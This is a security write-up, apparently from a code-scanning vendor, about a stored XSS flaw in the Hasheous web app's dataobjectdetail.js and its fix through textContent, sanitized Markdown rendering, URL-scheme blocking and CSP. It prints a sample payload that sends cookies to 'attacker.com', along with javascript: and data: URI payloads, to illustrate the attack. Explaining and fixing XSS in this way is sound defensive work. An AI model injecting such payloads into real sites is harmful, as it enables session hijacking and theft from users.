The Problem with Trusting Server Data in the Browser
The hasheous/wwwroot/pages/dataobjectdetail.js file is responsible for rendering detailed information about DataObjects — including user-facing descriptions and AI-generated summaries. It fetches attribute data from the server and displays it on the page. The logic seems straightforward: get the value, put it on the screen. But the way it put values on the screen opened the door to a serious stored Cross-Site Scripting (XSS) attack.
At line 248 of dataobjectdetail.js, inside the renderContent() function, the code assigned a server-returned attribute value directly to innerHTML:
descBody.innerHTML = dataObject.attributes[i].value;
No sanitization. No encoding. Just raw HTML injection into the DOM. If that value contained <script> tags, event handlers, or any other executable HTML, the browser would happily run it.
This post breaks down exactly how that vulnerability works, what the fix looks like, and what every JavaScript developer should take away from it.
The Vulnerability Explained
What the Code Was Doing
Inside renderContent(), the code iterates over a DataObject's attributes and handles two specific cases: Description and AIDescription. For the plain-text Description field, the original code was:
let descBody = document.createElement('span');
descBody.classList.add('descriptionspan');
descBody.innerHTML = dataObject.attributes[i].value; // ← vulnerable line
descriptionElement.appendChild(descBody);
For the AIDescription field, which supports Markdown, the code was:
let markdownText = dataObject.attributes[i].value;
// convert markdown to HTML using marked
let htmlContent = marked.parse(markdownText);
let aiDescBody = document.createElement('span');
aiDescBody.classList.add('descriptionspan');
aiDescBody.innerHTML = htmlContent; // ← also vulnerable
aiDescriptionElement.appendChild(aiDescBody);
Both patterns share the same root cause: untrusted data flows from an API response directly into innerHTML.
Why innerHTML Is Dangerous Here
The innerHTML property tells the browser to parse its assigned value as HTML. That means any HTML tags, including executable ones, are interpreted and rendered — not displayed as text.
Consider what happens when dataObject.attributes[i].value contains:
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
The browser creates an <img> element, fails to load x, and fires the onerror handler — which sends the victim's cookies to an attacker-controlled server. No user interaction required beyond simply viewing the page.
The Attack Path
The attack chain is two steps:
- Attacker authenticates as a Moderator or Admin (roles that have write access to DataObject attributes).
- Attacker sets the
DescriptionorAIDescriptionattribute of any DataObject to a malicious HTML payload.
From that point on, every user who views that DataObject's detail page executes the payload in their browser. This is the classic definition of stored XSS — the malicious content is persisted server-side and delivered to all subsequent visitors.
The AIDescription path is even more subtle: the value passes through marked.parse() first, which converts Markdown to HTML. But marked does not sanitize its output by default — it is a Markdown renderer, not a sanitizer. Passing untrusted Markdown through marked.parse() and then assigning the result to innerHTML is equivalent to allowing arbitrary HTML injection, because Markdown syntax can embed raw HTML.
Real-World Impact
For the Hasheous application, which appears to be a game/media metadata platform, this vulnerability means:
- Session hijacking: Cookie theft via
document.cookieexfiltration. - Credential harvesting: Injecting fake login forms or redirecting users to phishing pages.
- Privilege escalation: Executing authenticated API calls on behalf of logged-in users.
- Defacement: Replacing page content for all visitors.
Any user who can write to a DataObject attribute — even with limited privileges — becomes a potential attacker.
The Fix
The pull request makes two targeted changes in dataobjectdetail.js and introduces a new helper in common.js.
Fix 1: Replace innerHTML with textContent for Plain Descriptions
Before:
let descBody = document.createElement('span');
descBody.classList.add('descriptionspan');
descBody.innerHTML = dataObject.attributes[i].value;
descriptionElement.appendChild(descBody);
After:
let descBody = document.createElement('span');
descBody.classList.add('descriptionspan');
descBody.textContent = dataObject.attributes[i].value;
descriptionElement.appendChild(descBody);
This is the simplest and most correct fix for plain-text content. The textContent property does not parse HTML — it treats the assigned value as a raw string and escapes any HTML characters automatically. An attacker payload like <img src=x onerror=...> would be displayed literally on screen as text, not executed as markup.
Fix 2: Sanitize Markdown Before Injecting into the DOM
The AIDescription field legitimately needs to render HTML, because it contains Markdown that must be converted to formatted output. Simply switching to textContent would break the intended rendering. Instead, the fix introduces a dedicated renderSafeMarkdown() function:
Before:
let markdownText = dataObject.attributes[i].value;
// convert markdown to HTML using marked
let htmlContent = marked.parse(markdownText);
let aiDescBody = document.createElement('span');
aiDescBody.classList.add('descriptionspan');
aiDescBody.innerHTML = htmlContent;
aiDescriptionElement.appendChild(aiDescBody);
After:
const markdownText = dataObject.attributes[i].value;
const safeHtml = renderSafeMarkdown(markdownText);
let aiDescBody = document.createElement('span');
aiDescBody.classList.add('descriptionspan');
aiDescBody.innerHTML = safeHtml;
aiDescriptionElement.appendChild(aiDescBody);
The renderSafeMarkdown() helper (added to common.js) sanitizes the output of marked.parse() before it reaches innerHTML. The common.js diff also adds a URL safety checker that blocks dangerous schemes (such as javascript: and data:) from being used in href or src attributes — preventing a common vector where Markdown link syntax like [click me](javascript:alert(1)) would otherwise survive Markdown parsing and execute in the browser.
Why Both Changes Are Necessary
| Field | Content Type | Fix Applied | Reason |
|---|---|---|---|
Description |
Plain text | textContent |
No HTML needed; safest API |
AIDescription |
Markdown → HTML | renderSafeMarkdown() + innerHTML |
HTML rendering required, but must be sanitized |
Using textContent everywhere would be wrong for the AI description — it would display raw HTML tags as visible text. Using innerHTML everywhere with a sanitizer would work but is more complex than necessary for plain text. The fix applies the right tool to each case.
Prevention & Best Practices
1. Default to textContent, Opt Into innerHTML Deliberately
Treat innerHTML as a privileged operation. Every use of innerHTML in your codebase should be a conscious, reviewed decision. For any value that doesn't need to render HTML structure, textContent is always the right choice.
// ✅ Safe for plain text
element.textContent = userSuppliedValue;
// ⚠️ Only use when HTML rendering is required AND content is sanitized
element.innerHTML = sanitize(markdownToHtml(userSuppliedValue));
2. Sanitize Markdown Output Before Rendering
Libraries like marked, showdown, and markdown-it convert Markdown to HTML but do not sanitize that HTML. Always pass their output through a sanitizer like DOMPurify before assigning to innerHTML:
import DOMPurify from 'dompurify';
import { marked } from 'marked';
function renderSafeMarkdown(markdownText) {
const rawHtml = marked.parse(markdownText);
return DOMPurify.sanitize(rawHtml);
}
3. Block Dangerous URL Schemes
When sanitizing, explicitly block javascript:, data:, and vbscript: URI schemes in href and src attributes. These can execute code even when the surrounding HTML looks benign:
// Dangerous — executes JavaScript
<a href="javascript:alert(document.cookie)">Click me</a>
// Dangerous — executes base64-encoded script
<img src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
The common.js update in this PR adds exactly this protection as a URL validation utility.
4. Apply a Content Security Policy (CSP)
A well-configured CSP header provides defense-in-depth. Even if an XSS payload is injected, a strict CSP can prevent it from loading external resources or executing inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' data:; connect-src 'self'
5. Audit All innerHTML Assignments with Static Analysis
Use Semgrep or ESLint security plugins to flag every innerHTML assignment in your codebase and review whether the assigned value comes from a trusted, sanitized source.
A Semgrep rule to catch this pattern:
rules:
- id: unsafe-innerhtml-assignment
patterns:
- pattern: $EL.innerHTML = $VAL
message: "Unsafe innerHTML assignment. Ensure $VAL is sanitized before use."
languages: [javascript, typescript]
severity: WARNING
Key Takeaways
innerHTMLinrenderContent()was the specific sink: The vulnerability wasn't in the API or the server — it was in the single linedescBody.innerHTML = dataObject.attributes[i].valueinsidedataobjectdetail.js.- Markdown renderers are not sanitizers: Passing untrusted content through
marked.parse()beforeinnerHTMLdoes not protect against XSS — it can actually expand the attack surface by converting Markdown link and image syntax into executable HTML. textContentis the zero-effort safe default: For theDescriptionfield, the entire fix was a one-word change frominnerHTMLtotextContent. There was no reason to useinnerHTMLin the first place.- URL scheme validation matters in sanitization: The
renderSafeMarkdown()helper blocksjavascript:anddata:URIs, closing a bypass vector that pure HTML tag filtering would miss. - Privileged write access doesn't mean XSS is acceptable: Even though the attack required Moderator/Admin credentials, stored XSS from a trusted role can affect all users — including other admins — making it a critical escalation path.
How Orbis AppSec Detected This
- Source: Server-returned API response value at
dataObject.attributes[i].valueinside therenderContent()function indataobjectdetail.js - Sink:
descBody.innerHTML = dataObject.attributes[i].valueat line 248, andaiDescBody.innerHTML = htmlContentin the same function — both inhasheous/wwwroot/pages/dataobjectdetail.js - Missing control: No HTML sanitization, encoding, or safe DOM API (
textContent) was applied before the server-returned value was written into the DOM - CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix: Replaced
innerHTMLwithtextContentfor the plain-textDescriptionfield and introducedrenderSafeMarkdown()to sanitize Markdown output beforeinnerHTMLassignment for theAIDescriptionfield
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The vulnerability in dataobjectdetail.js is a textbook example of how a single unsafe API choice — innerHTML instead of textContent — can turn a routine data rendering operation into a persistent attack vector affecting every user of an application. The fix is precise and minimal: one property name change for plain text, and a sanitizing wrapper for the Markdown case. Neither change breaks existing functionality; both eliminate an entire class of injection risk.
For JavaScript developers, the lesson is simple: treat every innerHTML assignment as a security decision. Ask whether the content genuinely needs to be parsed as HTML. If it does, sanitize it first. If it doesn't, use textContent. That discipline, applied consistently, prevents the vast majority of DOM-based and stored XSS vulnerabilities before they ever reach production.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation
- OWASP Cross Site Scripting Prevention Cheat Sheet
- OWASP DOM Based XSS Prevention Cheat Sheet
- MDN Web Docs: Element.textContent
- DOMPurify — Trusted HTML Sanitization Library
- Semgrep rules for innerHTML XSS
- fix: add output encoding in dataobjectdetail.js